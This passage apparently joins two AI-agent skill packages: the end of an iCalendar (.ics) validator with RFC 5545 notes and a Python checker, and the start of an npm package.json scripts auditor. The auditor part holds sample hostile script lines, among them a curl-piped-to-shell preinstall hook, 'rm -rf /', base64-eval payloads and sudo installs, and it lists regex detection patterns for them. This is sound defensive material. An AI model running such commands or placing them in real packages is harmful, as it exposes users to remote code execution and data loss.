MONTHLY or YEARLY. | | BYMONTHDAY | 1..31 or -31..-1 | `-1` = last day of month. | | BYMONTH | 1..12 | | | BYYEARDAY | 1..366 or negative | | | BYWEEKNO | 1..53 or negative | YEARLY only. | | BYHOUR / BYMINUTE / BYSECOND | 0..23 / 0..59 / 0..60 | | | BYSETPOS | 1..366 or negative | e.g. last weekday of month: `BYDAY=MO,TU,WE,TH,FR;BYSETPOS=-1`. | | WKST | MO..SU | Week start, default MO. | ## UNTIL type rule - If DTSTART is a DATE, UNTIL must be a DATE. - If DTSTART has a TZID or is UTC, UNTIL must be UTC (`...Z`). - If DTSTART is floating, UNTIL must also be floating. ## EXDATE and RDATE - Must use the same value type and TZID as DTSTART, otherwise clients ignore them. - Example: `EXDATE;TZID=Europe/Istanbul:20261103T100000` ## Common bugs 1. Both COUNT and UNTIL present (invalid). 2. UNTIL as a local time when DTSTART has a TZID (should be UTC). 3. BYDAY ordinals with WEEKLY (`FREQ=WEEKLY;BYDAY=1MO`) - meaningless. 4. DTSTART that does not match the pattern (DTSTART on Tuesday with `BYDAY=MO`): RFC says DTSTART still counts as the first occurrence, which surprises users. 5. EXDATE in UTC while DTSTART uses TZID: exceptions do not match. 6. Lowercase or misspelled keys (`freq=weekly`, `BYDAYS`). Values should be uppercase. 7. Daylight saving: a recurring 09:00 meeting must use TZID, not UTC, or it shifts by an hour twice a year. ## Examples - Every weekday at 09:00: `RRULE:FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR` - First Monday monthly, 6 times: `RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=6` - Last day of each month: `RRULE:FREQ=MONTHLY;BYMONTHDAY=-1` - Every other Friday until year end: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=FR;UNTIL=20261231T210000Z` FILE:templates/fix-checklist.md # ICS Fix Checklist and Report ## Summary - File: `<name.ics>` - Produced by: `<app or script>` | Fails in: `<client>` - Symptom: `<import error / wrong time / missing occurrences / duplicates>` - Result: `<N errors, M warnings>` ## Checklist - [ ] File starts with `BEGIN:VCALENDAR` and ends with `END:VCALENDAR` - [ ] All BEGIN/END pairs balanced and correctly nested - [ ] `VERSION:2.0` and `PRODID` present once in VCALENDAR - [ ] Each VEVENT has `UID`, `DTSTAMP`, `DTSTART` - [ ] UIDs are unique within the file and stable across updates - [ ] DTEND later than DTSTART, and not combined with DURATION - [ ] Date-time values valid (`YYYYMMDD` / `YYYYMMDDTHHMMSS[Z]`) - [ ] All-day events use `VALUE=DATE` on both DTSTART and DTEND - [ ] Every TZID used has a VTIMEZONE (or an IANA name the target client accepts) - [ ] No unintended floating times - [ ] RRULE has FREQ; no COUNT with UNTIL; UNTIL type matches DTSTART - [ ] EXDATE/RDATE match DTSTART value type and TZID - [ ] Text values escape `,` `;` `\` and newlines - [ ] CRLF line endings; lines over 75 octets folded - [ ] SEQUENCE increments when an existing event is updated ## Findings | # | Severity | Line | Property | Problem | Fix | |---|---|---|---|---|---| | 1 | error | | | | | ## Corrected snippet ``` <fixed lines> ``` ## Re-test 1. Run `python3 scripts/check_ics.py <file>` and confirm 0 errors. 2. Import into a test calendar in the failing client. 3. Check the first occurrence, one middle occurrence, and the last occurrence times. FILE:examples/sample.ics BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Example Co//Team Calendar 1.0//EN CALSCALE:GREGORIAN METHOD:PUBLISH BEGIN:VTIMEZONE TZID:Europe/Istanbul BEGIN:STANDARD DTSTART:19700101T000000 TZOFFSETFROM:+0300 TZOFFSETTO:+0300 TZNAME:+03 END:STANDARD END:VTIMEZONE BEGIN:VEVENT UID:kickoff-20261020@example.com DTSTAMP:20261015T070000Z DTSTART;TZID=Europe/Istanbul:20261020T100000 DTEND;TZID=Europe/Istanbul:20261020T113000 SUMMARY:Project kickoff LOCATION:Room 4\, Second Floor DESCRIPTION:Agenda: goals\, roles\, and first milestones.\nBring lapt ops. STATUS:CONFIRMED SEQUENCE:0 END:VEVENT BEGIN:VEVENT UID:weekly-sync-2026@example.com DTSTAMP:20261015T070000Z DTSTART;TZID=Europe/Istanbul:20261022T093000 DURATION:PT30M RRULE:FREQ=WEEKLY;BYDAY=TH;UNTIL=20261231T063000Z EXDATE;TZID=Europe/Istanbul:20261126T093000 SUMMARY:Weekly team sync BEGIN:VALARM ACTION:DISPLAY DESCRIPTION:Weekly team sync in 10 minutes TRIGGER:-PT10M END:VALARM END:VEVENT BEGIN:VEVENT UID:offsite-2026@example.com DTSTAMP:20261015T070000Z DTSTART;VALUE=DATE:20261106 DTEND;VALUE=DATE:20261108 SUMMARY:Team offsite (all day) END:VEVENT END:VCALENDAR FILE:scripts/check_ics.py #!/usr/bin/env python3 """Validate an iCalendar (.ics) file against RFC 5545 basics. Usage: python3 check_ics.py FILE.ics [--json] python3 check_ics.py --self-test Exit codes: 0 = no errors, 1 = errors found, 2 = usage / read error. Python 3 standard library only. """ import argparse import datetime as dt import json import re import sys DATE_RE = re.compile(r"^\d{8}$") DATETIME_RE = re.compile(r"^\d{8}T\d{6}Z?$") DURATION_RE = re.compile(r"^[+-]?P(\d+W|(\d+D)?(T(\d+H)?(\d+M)?(\d+S)?)?)$") FREQS = {"SECONDLY", "MINUTELY", "HOURLY", "DAILY", "WEEKLY", "MONTHLY", "YEARLY"} DAYS = {"MO", "TU", "WE", "TH", "FR", "SA", "SU"} RRULE_KEYS = {"FREQ", "UNTIL", "COUNT", "INTERVAL", "BYSECOND", "BYMINUTE", "BYHOUR", "BYDAY", "BYMONTHDAY", "BYYEARDAY", "BYWEEKNO", "BYMONTH", "BYSETPOS", "WKST"} EVENT_LIKE = {"VEVENT", "VTODO", "VJOURNAL"} class Report: def __init__(self): self.items = [] def add(self, severity, line, prop, message): self.items.append({"severity": severity, "line": line, "property": prop, "message": message}) def error(self, line, prop, msg): self.add("error", line, prop, msg) def warn(self, line, prop, msg): self.add("warning", line, prop, msg) @property def errors(self): return [i for i in self.items if i["severity"] == "error"] @property def warnings(self): return [i for i in self.items if i["severity"] == "warning"] def unfold(raw, rep): """Return list of (line_no, logical_line). Checks line endings and length.""" if "\r\n" not in raw and "\n" in raw: rep.warn(1, None, "Lines end with LF only; RFC 5545 requires CRLF (most clients tolerate LF).") physical = raw.replace("\r\n", "\n").split("\n") logical = [] for n, line in enumerate(physical, start=1): if len(line.encode("utf-8")) > 75: rep.warn(n, None, f"Line is {len(line.encode('utf-8'))} octets; fold lines longer than 75 octets.") if line[:1] in (" ", "\t") and logical: ln, text = logical[-1] logical[-1] = (ln, text + line[1:]) elif line == "": continue else: logical.append((n, line)) return logical def split_prop(line): """Split 'NAME;PARAM=V:VALUE' into (NAME, {params}, value). Handles quoted params.""" in_q = False for i, ch in enumerate(line): if ch == '"': in_q = not in_q elif ch == ":" and not in_q: head, value = line[:i], line[i + 1:] break else: return None parts = re.split(r';(?=(?:[^"]*"[^"]*")*[^"]*$)', head) name = parts[0].upper() params = {} for p in parts[1:]: if "=" in p: k, v = p.split("=", 1) params[k.upper()] = v.strip('"') return name, params, value def parse_dt(value, params): """Return (kind, datetime|None) where kind is DATE, UTC, LOCAL, FLOATING or BAD.""" if params.get("VALUE", "").upper() == "DATE" or DATE_RE.match(value): if not DATE_RE.match(value): return "BAD", None try: return "DATE", dt.datetime.strptime(value, "%Y%m%d") except ValueError: return "BAD", None if not DATETIME_RE.match(value): return "BAD", None try: d = dt.datetime.strptime(value.rstrip("Z"), "%Y%m%dT%H%M%S") except ValueError: return "BAD", None if value.endswith("Z"): return "UTC", d return ("LOCAL" if "TZID" in params else "FLOATING"), d def check_rrule(value, ln, start_kind, rep): parts = {} for chunk in value.split(";"): if "=" not in chunk: rep.error(ln, "RRULE", f"Malformed part '{chunk}' (expected KEY=VALUE).") continue k, v = chunk.split("=", 1) if k != k.upper(): rep.warn(ln, "RRULE", f"Key '{k}' should be uppercase.") k = k.upper() if k in parts: rep.error(ln, "RRULE", f"Part {k} appears more than once.") if k not in RRULE_KEYS: rep.error(ln, "RRULE", f"Unknown part '{k}'.") parts[k] = v.upper() freq = parts.get("FREQ") if not freq: rep.error(ln, "RRULE", "FREQ is required.") elif freq not in FREQS: rep.error(ln, "RRULE", f"Invalid FREQ '{freq}'.") if "COUNT" in parts and "UNTIL" in parts: rep.error(ln, "RRULE", "COUNT and UNTIL must not both be present.") for key in ("COUNT", "INTERVAL"): if key in parts and not (parts[key].isdigit() and int(parts[key]) > 0): rep.error(ln, "RRULE", f"{key} must be a positive integer.") if "BYDAY" in parts: for d in parts["BYDAY"].split(","): m = re.match(r"^([+-]?\d{1,2})?(MO|TU|WE|TH|FR|SA|SU)$", d) if not m: rep.error(ln, "RRULE", f"Invalid BYDAY value '{d}'.") elif m.group(1) and freq not in ("MONTHLY", "YEARLY"): rep.warn(ln, "RRULE", f"BYDAY ordinal '{d}' only makes sense with MONTHLY or YEARLY.") for key, lo, hi in (("BYMONTH", 1, 12), ("BYMONTHDAY", 1, 31), ("BYHOUR", 0, 23), ("BYMINUTE", 0, 59)): if key in parts: for v in parts[key].split(","): try: n = int(v) except ValueError: rep.error(ln, "RRULE", f"{key} value '{v}' is not an integer.") continue ok = lo <= abs(n) <= hi if key == "BYMONTHDAY" else lo <= n <= hi if not ok: rep.error(ln, "RRULE", f"{key} value {n} out of range.") if "WKST" in parts and parts["WKST"] not in DAYS: rep.error(ln, "RRULE", f"Invalid WKST '{parts['WKST']}'.") if "UNTIL" in parts: ukind, _ = parse_dt(parts["UNTIL"], {}) if ukind == "BAD": rep.error(ln, "RRULE", f"UNTIL '{parts['UNTIL']}' is not a valid DATE or DATE-TIME.") elif start_kind == "DATE" and ukind != "DATE": rep.error(ln, "RRULE", "DTSTART is a DATE, so UNTIL must be a DATE too.") elif start_kind in ("LOCAL", "UTC") and ukind != "UTC": rep.error(ln, "RRULE", "DTSTART has a TZID or is UTC, so UNTIL must be UTC (ending in Z).") def validate(text): rep = Report() lines = unfold(text, rep) if not lines: rep.error(1, None, "File is empty.") return rep if lines[0][1].upper() != "BEGIN:VCALENDAR": rep.error(lines[0][0], None, "File must start with BEGIN:VCALENDAR.") stack = [] comps = [] # list of dicts: name, line, props: list of (ln, name, params, value) tzids_defined, tzids_used, uids = set(), [], {} for ln, line in lines: parsed = split_prop(line) if parsed is None: rep.error(ln, None, f"Not a valid content line (missing ':'): {line[:40]!r}") continue name, params, value = parsed if name == "BEGIN": comp = {"name": value.upper(), "line": ln, "props": []} stack.append(comp) continue if name == "END": if not stack: rep.error(ln, "END", f"END:{value} without matching BEGIN.") continue comp = stack.pop() if comp["name"] != value.upper(): rep.error(ln, "END", f"END:{value} does not match BEGIN:{comp['name']} (line {comp['line']}).") comps.append(comp) continue if not stack: rep.error(ln, name, "Property outside any component.") continue stack[-1]["props"].append((ln, name, params, value)) if "TZID" in params: tzids_used.append((ln, params["TZID"])) if name == "TZID" and stack[-1]["name"] == "VTIMEZONE": tzids_defined.add(value) for comp in stack: rep.error(comp["line"], "BEGIN", f"BEGIN:{comp['name']} is never closed.") for comp in comps: props = {} for ln, name, params, value in comp["props"]: props.setdefault(name, []).append((ln, params, value)) cname = comp["name"] if cname == "VCALENDAR": for req in ("VERSION", "PRODID"): if req not in props: rep.error(comp["line"], req, f"VCALENDAR is missing required {req}.") elif len(props[req]) > 1: rep.error(props[req][1][0], req, f"{req} must appear only once.") if "VERSION" in props and props["VERSION"][0][2] != "2.0": rep.error(props["VERSION"][0][0], "VERSION", "VERSION must be 2.0.") if cname in EVENT_LIKE: for req in ("UID", "DTSTAMP"): if req not in props: rep.error(comp["line"], req, f"{cname} is missing required {req}.") if cname == "VEVENT" and "DTSTART" not in props: rep.error(comp["line"], "DTSTART", "VEVENT is missing DTSTART.") if "UID" in props: uid = props["UID"][0][2] if uid in uids: rep.error(props["UID"][0][0], "UID", f"Duplicate UID '{uid}' (also line {uids[uid]}).") else: uids[uid] = props["UID"][0][0] if "DTSTAMP" in props: ln, params, value = props["DTSTAMP"][0] kind, _ = parse_dt(value, params) if kind != "UTC": rep.error(ln, "DTSTAMP", "DTSTAMP must be a UTC DATE-TIME ending in Z.") start_kind, start = None, None for key in ("DTSTART", "DTEND", "DUE"): if key not in props: continue ln, params, value = props[key][0] kind, val = parse_dt(value, params) if kind == "BAD": rep.error(ln, key, f"Invalid date or date-time value '{value}'.") continue if kind == "FLOATING": rep.warn(ln, key, "Floating time (no Z and no TZID): shows the same wall time in every zone.") if key == "DTSTART": start_kind, start = kind, val elif start is not None: if (kind == "DATE") != (start_kind == "DATE"): rep.error(ln, key, f"{key} and DTSTART must both be DATE or both DATE-TIME.") elif kind == start_kind and val <= start: rep.error(ln, key, f"{key} must be later than DTSTART.") if "DTEND" in props and "DURATION" in props: rep.error(props["DURATION"][0][0], "DURATION", "DTEND and DURATION must not both be present.") if "DURATION" in props: ln, _, value = props["DURATION"][0] if not DURATION_RE.match(value) or value.rstrip("+-") in ("P", "PT"): rep.error(ln, "DURATION", f"Invalid DURATION '{value}' (e.g. PT1H30M, P1D).") if "RRULE" in props: ln, _, value = props["RRULE"][0] check_rrule(value, ln, start_kind, rep) if len(props["RRULE"]) > 1: rep.warn(props["RRULE"][1][0], "RRULE", "Multiple RRULEs are deprecated; many clients use only the first.") for key in ("EXDATE", "RDATE"): for ln, params, value in props.get(key, []): for v in value.split(","): kind, _ = parse_dt(v, params) if kind == "BAD": rep.error(ln, key, f"Invalid value '{v}'.") elif start_kind and kind != start_kind: rep.warn(ln, key, f"{key} value type ({kind}) differs from DTSTART ({start_kind}); clients may ignore it.") if "SEQUENCE" in props and not props["SEQUENCE"][0][2].isdigit(): rep.error(props["SEQUENCE"][0][0], "SEQUENCE", "SEQUENCE must be a non-negative integer.") for key in ("SUMMARY", "DESCRIPTION", "LOCATION"): for ln, _, value in props.get(key, []): if re.search(r"(?<!\\)[,;]", value): rep.warn(ln, key, "Unescaped ',' or ';' in text; escape as '\\,' and '\\;'.") if not any(c["name"] in EVENT_LIKE for c in comps): rep.warn(1, None, "Calendar contains no VEVENT, VTODO, or VJOURNAL.") for ln, tz in tzids_used: if tz not in tzids_defined: rep.warn(ln, "TZID", f"TZID '{tz}' has no VTIMEZONE in this file; strict clients (e.g. Outlook) may misplace it.") return rep BROKEN = ( "BEGIN:VCALENDAR\r\nPRODID:-//Test//EN\r\nBEGIN:VEVENT\r\nDTSTAMP:20261015T070000\r\n" "DTSTART:20261020T100000Z\r\nDTEND:20261020T090000Z\r\nDURATION:PT1H\r\n" "RRULE:FREQ=WEEKLY;COUNT=5;UNTIL=20261201T000000Z;BYDAY=XX\r\nSUMMARY:Bad, event\r\n" "END:VEVENT\r\nBEGIN:VEVENT\r\nUID:a@x\r\nDTSTAMP:20261015T070000Z\r\n" "DTSTART;TZID=Mars/Olympus:20261020T100000\r\nEND:VTODO\r\nEND:VCALENDAR\r\n" ) GOOD = ( "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:-//Test//EN\r\nBEGIN:VEVENT\r\nUID:ok@x\r\n" "DTSTAMP:20261015T070000Z\r\nDTSTART:20261020T070000Z\r\nDTEND:20261020T080000Z\r\n" "RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=3\r\nSUMMARY:Fine\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n" ) def self_test(): good = validate(GOOD) bad = validate(BROKEN) msgs = " | ".join(i["message"] for i in bad.items) checks = [ ("good file has no errors", not good.errors), ("missing VERSION", "missing required VERSION" in msgs), ("missing UID", "missing required UID" in msgs), ("DTSTAMP not UTC", "DTSTAMP must be a UTC" in msgs), ("DTEND before DTSTART", "must be later than DTSTART" in msgs), ("DTEND with DURATION", "must not both be present" in msgs), ("COUNT with UNTIL", "COUNT and UNTIL" in msgs), ("bad BYDAY", "Invalid BYDAY" in msgs), ("unescaped comma", "Unescaped" in msgs), ("mismatched END", "does not match BEGIN" in msgs), ("unknown TZID warning", "Mars/Olympus" in msgs), ] failed = 0 for label, ok in checks: failed += not ok print(f"{'PASS' if ok else 'FAIL'} {label}") print(f"\n{len(checks) - failed}/{len(checks)} passed") return 1 if failed else 0 def main(argv=None): p = argparse.ArgumentParser(description="Validate an iCalendar (.ics) file.") p.add_argument("file", nargs="?", help="Path to .ics file ('-' for stdin)") p.add_argument("--json", action="store_true", help="Output JSON") p.add_argument("--self-test", action="store_true", help="Run built-in tests") a = p.parse_args(argv) if a.self_test: return self_test() if not a.file: p.error("file is required (or use --self-test)") try: if a.file == "-": text = sys.stdin.read() else: with open(a.file, "r", encoding="utf-8", newline="") as fh: text = fh.read() except (OSError, UnicodeDecodeError) as exc: print(f"Cannot read {a.file}: {exc}", file=sys.stderr) return 2 rep = validate(text) if a.json: print(json.dumps({"errors": len(rep.errors), "warnings": len(rep.warnings), "findings": rep.items}, indent=2)) else: for i in sorted(rep.items, key=lambda x: (x["line"], x["severity"])): prop = f" {i['property']}" if i["property"] else "" print(f"line {i['line']:>4} {i['severity'].upper():7}{prop}: {i['message']}") print(f"\n{len(rep.errors)} error(s), {len(rep.warnings)} warning(s)") return 1 if rep.errors else 0 if __name__ == "__main__": sys.exit(main())
--- name: package-json-scripts-auditor description: Audits the scripts section of an npm package.json for safety and clarity: risky install hooks, curl-pipe-to-shell, rm -rf, sudo, inline secrets, unpinned npx, non-portable shell syntax, placeholder test scripts, missing standard scripts, and confusing names. Use when reviewing a repo, a dependency, or a PR that changes package.json scripts. Includes a stdlib Python auditor with severity levels. --- # package.json Scripts Auditor You review the `scripts` block of a Node.js `package.json` and explain what each script does, which ones are risky, and how to make the set clearer and more portable. You cover two audiences: maintainers tidying their own project, and reviewers checking whether a dependency or PR runs anything dangerous at install time. You never run the scripts yourself; you read them. ## Files in this skill - `scripts/audit_scripts.py` - reads a package.json and reports findings with severity (high, medium, low, info) and a suggested fix (Python 3 standard library only) - `references/script-conventions.md` - standard script names, lifecycle hooks, naming, and portability conventions - `references/dangerous-patterns.md` - patterns that deserve a closer look, why they matter, and safer alternatives - `templates/audit-report.md` - the report shape to return - `examples/package.json` - a deliberately messy example to practice on ## Workflow ### 1. Collect context Ask for the full `package.json` (not only `scripts`, since `name`, `private`, `bin`, `workspaces`, and `packageManager` matter), and whether this is the user's own project or a third-party package. Ask which OS the team uses (Windows support changes portability advice). ### 2. Run the auditor ``` python3 scripts/audit_scripts.py path/to/package.json python3 scripts/audit_scripts.py --json path/to/package.json python3 scripts/audit_scripts.py --self-test ``` Exit code 0 = no high findings, 1 = at least one high finding, 2 = file error. ### 3. Review manually The script is pattern-based. Also read each script yourself and check: - Lifecycle hooks (`preinstall`, `install`, `postinstall`, `prepare`) run automatically for consumers; any network call or file write outside the project there is a red flag. - Scripts that call other files (`node scripts/setup.js`, `sh ./build.sh`): ask to see those files before calling the package safe. - Obfuscation (base64, hex strings, `eval`, `node -e` with long one-liners) deserves high suspicion. ### 4. Recommend Use `references/script-conventions.md` and `references/dangerous-patterns.md` to propose concrete replacements: `rimraf` or `del-cli` instead of `rm -rf`, `cross-env` instead of `VAR=value cmd`, pinned `npx pkg@1.2.3`, `prepublishOnly` running tests, and grouped names like `lint:js`, `test:unit`. ### 5. Report Fill `templates/audit-report.md`: verdict, findings table, a rewritten `scripts` block, and follow-up questions. ## Rules - Rate severity by impact: anything that can run remote code or delete files outside the project on install is high. - Do not accuse authors of malice; describe the behavior and the risk. - Keep the user's existing script names when renaming would break CI, and say which CI files would need updating if you do suggest a rename. - Suggest `npm install --ignore-scripts` for auditing untrusted packages, and `npm config set ignore-scripts true` only with the trade-offs explained. FILE:references/dangerous-patterns.md # Dangerous and Risky Script Patterns | Pattern | Example | Why it matters | Safer alternative | Severity | |---|---|---|---|---| | Remote script piped to a shell | `curl -fsSL https://x.sh \| sh` | Runs whatever the server returns, unpinned and unverified | Vendor the script, pin by checksum, or use a published package | high | | Network fetch in install hooks | `"postinstall": "node download.js"` / `wget` | Runs on every consumer's machine at install time | Ship artifacts in the package, or make the step opt-in | high | | Recursive delete of broad paths | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` with unset var | Can wipe data outside the project | `rimraf dist`, explicit relative paths | high | | `sudo` | `sudo npm i -g x` | Escalates privileges from a script | Never require root in scripts; document manual steps | high | | `eval` / encoded payloads | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Hides what runs | Plain, readable commands in files | high | | Inline secrets | `API_TOKEN=abc123 node deploy.js` | Leaks in git history and CI logs | Environment variables from a secret store or `.env` not committed | high | | World-writable permissions | `chmod 777`, `chmod -R a+w` | Lets any user modify files | Minimal permissions (`chmod +x file`) | medium | | Skipping safety checks | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Bypasses hooks and protections | Fix the failing check instead | medium | | Unpinned `npx` / `dlx` | `npx create-thing` | Downloads and runs the latest version at run time | `npx create-thing@3.2.1` or add as devDependency | medium | | Global installs in scripts | `npm i -g typescript` | Changes the user's machine; versions drift | devDependency + local bin | medium | | Plain HTTP URLs | `curl http://...` | Can be tampered with in transit | HTTPS | medium | | `git push` / `npm publish` in hooks | `"postbuild": "npm publish"` | Accidental releases | Explicit `release` script run by CI | medium | | Non-portable shell syntax | `NODE_ENV=prod`, `export`, `cp -r` | Breaks on Windows | `cross-env`, `cpy-cli`, Node scripts | low | | Placeholder test | `echo "Error: no test specified" && exit 1` | CI fails or tests silently missing | Real test runner | low | | Very long one-liners | > 200 chars | Hard to review; hides risk | Move to a script file | low | ## Review tips - For third-party packages: inspect with `npm pack <pkg>` and read the tarball, or install with `--ignore-scripts` first. - Follow file references: `node scripts/postinstall.js` is only as safe as that file. - Watch for `prepare` in git dependencies: it runs when installing from a git URL. FILE:references/script-conventions.md # npm Script Conventions ## Standard names | Script | Purpose | Run with | |---|---|---| | `start` | Run the app in production mode | `npm start` | | `dev` | Run with watch / hot reload | `npm run dev` | | `build` | Produce build output | `npm run build` | | `test` | Run the test suite (CI default) | `npm test` | | `lint` | Static checks | `npm run lint` | | `format` | Apply formatter | `npm run format` | | `typecheck` | `tsc --noEmit` or similar | `npm run typecheck` | | `clean` | Remove build artifacts | `npm run clean` | Use a colon to group variants: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Use `npm-run-all` / `run-p` / `run-s`, or `npm run a && npm run b`, to compose them. ## Lifecycle hooks | Hook | Runs when | Notes | |---|---|---| | `preinstall`, `install`, `postinstall` | Your package is installed, including as a dependency | Runs on every consumer's machine. Keep empty unless compiling native code. | | `prepare` | After local `npm install` and before `npm publish`/`npm pack`; also for git dependencies | Good for building or setting up git hooks (e.g. `husky`). | | `prepublishOnly` | Only before `npm publish` | Put `npm test && npm run build` here. | | `prepack`, `postpack` | Around `npm pack` / publish | | | `preX` / `postX` | Automatically before/after any script `X` | Can surprise readers; prefer explicit chaining. pnpm does not run them by default. | ## Portability - Windows `cmd.exe` does not understand `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, `&` backgrounding, single quotes, or `$VAR`. Use `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, and Node scripts. - `&&` works in both shells; `;` does not run the same way in `cmd.exe`. - Prefer local binaries (from `devDependencies`) over globally installed ones; npm adds `node_modules/.bin` to PATH inside scripts. ## Clarity - One job per script; move long logic (> ~120 characters) into `scripts/*.js` or `*.mjs` files. - Avoid names that shadow npm commands or each other (`install`, `publish`, `test2`). - Replace the default `echo "Error: no test specified" && exit 1` with a real test command or remove it. - Document unusual scripts in the README. - Set `"private": true` for apps that must never be published. FILE:templates/audit-report.md # package.json Scripts Audit **Package:** `<name>@<version>` | **Owner:** own project / third-party | **Private:** yes/no **Verdict:** Safe / Needs changes / Do not install until reviewed **Counts:** high `<n>`, medium `<n>`, low `<n>`, info `<n>` ## Script inventory | Script | What it does (plain words) | Runs automatically? | |---|---|---| | `build` | | no | | `postinstall` | | yes, on every install | ## Findings | # | Severity | Script | Pattern | Why it matters | Fix | |---|---|---|---|---|---| | 1 | high | | | | | ## Suggested scripts block ```json { "scripts": { } } ``` ## Also check - Files referenced by scripts: `<list>` - CI files that call renamed scripts: `<list>` - devDependencies to add: `<rimraf, cross-env, ...>` ## Questions for the maintainer 1. FILE:examples/package.json { "name": "acme-dashboard", "version": "0.4.2", "description": "Internal dashboard (example with deliberately messy scripts for auditing practice)", "main": "dist/index.js", "scripts": { "preinstall": "curl -fsSL http://get.example.com/setup.sh | sh", "postinstall": "node scripts/fetch-assets.js", "start": "NODE_ENV=production node dist/index.js", "dev": "nodemon src/index.ts", "build": "rm -rf dist && tsc -p .", "test": "echo \"Error: no test specified\" && exit 1", "deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js", "fix-perms": "chmod -R 777 ./uploads", "commit": "git add -A && git commit --no-verify -m wip", "gen": "npx create-acme-widget", "postbuild": "npm publish", "setup": "sudo npm install -g typescript" }, "devDependencies": { "nodemon": "^3.1.0", "typescript": "^5.6.0" } } FILE:scripts/audit_scripts.py #!/usr/bin/env python3 """Audit the "scripts" section of an npm package.json. Usage: python3 audit_scripts.py path/to/package.json [--json] python3 audit_scripts.py --self-test Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error. Pattern-based: always read the scripts and any files they call yourself. Python 3 standard library only. """ import argparse import json import re import sys INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"} SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3} # (id, regex, severity, message, fix) PATTERNS = [ ("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high", "Downloads a remote script and pipes it into a shell.", "Vendor the script, verify a checksum, or use a pinned package."), ("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high", "Recursive delete of a root, home, or variable-based path.", "Delete an explicit relative path, e.g. `rimraf dist`."), ("sudo", r"(^|[\s;&|])sudo\s", "high", "Uses sudo inside an npm script.", "Never require root from scripts; document any manual setup."), ("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high", "Uses eval or decodes an encoded payload, hiding what runs.", "Replace with plain, readable commands in a script file."), ("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high", "Hard-coded secret value in a script.", "Read secrets from the environment or a secret manager; rotate the exposed value."), ("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium", "Makes files world-writable.", "Use minimal permissions, e.g. `chmod +x bin/cli.js`."), ("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium", "Bypasses safety checks or hooks.", "Fix the underlying failure instead of skipping the check."), ("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium", "Runs a package via npx/dlx without a pinned version.", "Pin it (`npx pkg@1.2.3`) or add it to devDependencies."), ("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium", "Installs packages globally from a script.", "Add as a devDependency and use the local binary."), ("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium", "Fetches over plain HTTP.", "Use HTTPS."), ("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium", "Publishes or pushes from a script.", "Keep releases in an explicit `release` script or CI job."), ("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low", "Inline env assignment `VAR=value cmd` does not work in Windows cmd.", "Use `cross-env VAR=value cmd`."), ("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low", "Unix-only shell command.", "Use rimraf / cpy-cli / a Node script for Windows support."), ] PLACEHOLDER_TEST = re.compile(r'no test specified', re.I) NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I) FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))") def audit(pkg): findings = [] def add(sev, script, rule, msg, fix): findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix}) scripts = pkg.get("scripts") if not isinstance(scripts, dict) or not scripts: add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.") return findings for name, cmd in scripts.items(): if not isinstance(cmd, str): add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.") continue for rule, rx, sev, msg, fix in PATTERNS: if re.search(rx, cmd): add(sev, name, rule, msg, fix) if name in INSTALL_HOOKS: if name == "prepare": add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.", "Keep it limited to build or git-hook setup.") else: add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.", "Remove it unless it compiles native code; move setup to an explicit script.") if NETWORK.search(cmd): add("high", name, "network-in-install-hook", "Install hook performs network access.", "Ship assets in the package or make the download opt-in.") for ref in FILE_REF.findall(cmd): add("high" if name != "prepare" else "medium", name, "install-hook-runs-file", f"Install hook executes `{ref}`; its contents decide the real risk.", f"Read `{ref}` before trusting this package.") if name == "test" and PLACEHOLDER_TEST.search(cmd): add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.") if len(cmd) > 200: add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.") if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"): base = name[3:] if name.startswith("pre") else name[4:] if base in scripts: add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).", f"Consider chaining explicitly inside 